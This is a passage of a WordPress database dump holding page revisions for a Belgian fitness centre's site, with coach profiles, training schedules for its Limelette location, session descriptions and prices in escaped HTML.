5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;198\&quot; height=\&quot;259\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-11-06 21:06:21', '2013-11-06 21:06:21', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(393, 1, '2013-11-06 21:16:13', '2013-11-06 21:16:13', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-11-06 21:16:13', '2013-11-06 21:16:13', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(395, 1, '2013-11-14 21:20:57', '2013-11-14 21:20:57', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\nCardio: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n&lt;br&gt;\r\nCircuit training: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous! \r\n&lt;br&gt;\r\nRenforcement musculaire: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-14 21:20:57', '2013-11-14 21:20:57', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(396, 1, '2013-11-14 21:23:43', '2013-11-14 21:23:43', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et 